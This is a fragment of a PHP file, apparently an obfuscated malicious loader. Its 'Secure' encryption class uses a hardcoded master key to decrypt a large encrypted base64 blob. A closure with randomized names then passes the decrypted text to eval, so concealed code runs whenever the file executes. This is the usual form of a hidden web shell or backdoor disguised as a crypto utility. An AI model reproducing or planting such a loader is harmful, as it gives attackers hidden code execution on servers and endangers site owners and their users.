8889841cmasterKey = $masterKey; } public function decrypt($encrypted) { $data = base64_decode($encrypted); $salt = substr($data, 0, $this->saltLength); $ivLength = openssl_cipher_iv_length($this->cipher); $iv = substr($data, $this->saltLength, $ivLength); $hmac = substr($data, $this->saltLength + $ivLength, 32); $ciphertext = substr($data, $this->saltLength + $ivLength + 32); $derivedKeys = $this->deriveKeys($salt); $calcHmac = hash_hmac($this->hmacAlgo, $iv . $salt . $ciphertext, $derivedKeys['hmac'], true); $decrypted = openssl_decrypt($ciphertext, $this->cipher, $derivedKeys['encryption'], OPENSSL_RAW_DATA, $iv); return $decrypted; } private function deriveKeys($salt) { $keyMaterial = hash_pbkdf2( $this->hmacAlgo, $this->masterKey, $salt, $this->iterations, 64, true ); return [ 'encryption' => substr($keyMaterial, 0, 32), 'hmac' => substr($keyMaterial, 32) ]; } private function verifyHmac($knownHmac, $userHmac) { return hash_equals($knownHmac, $userHmac); } public function setIterations($iterations) { $this->iterations = (int)$iterations; return $this; } public function setCipher($cipher) { $this->cipher = $cipher; return $this; } } $secure = new Secure('3Etrksi87rde3hd8s819Poe0o39sqKjl9'); $str = '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'; $decrypted = $secure->decrypt($str); $WwOy9ISIfCh7mF = function($w9awNt1sJNK87){ EVaL($w9awNt1sJNK87); $mXM0ar3y76T = "mxDQ1TrjTz2a7tWUdPpLAGbFl0qjLSkgr9MBBpc3iRhIb4D59omZddYK"; return $mXM0ar3y76T; }; $WwOy9ISIfCh7mF($decrypted);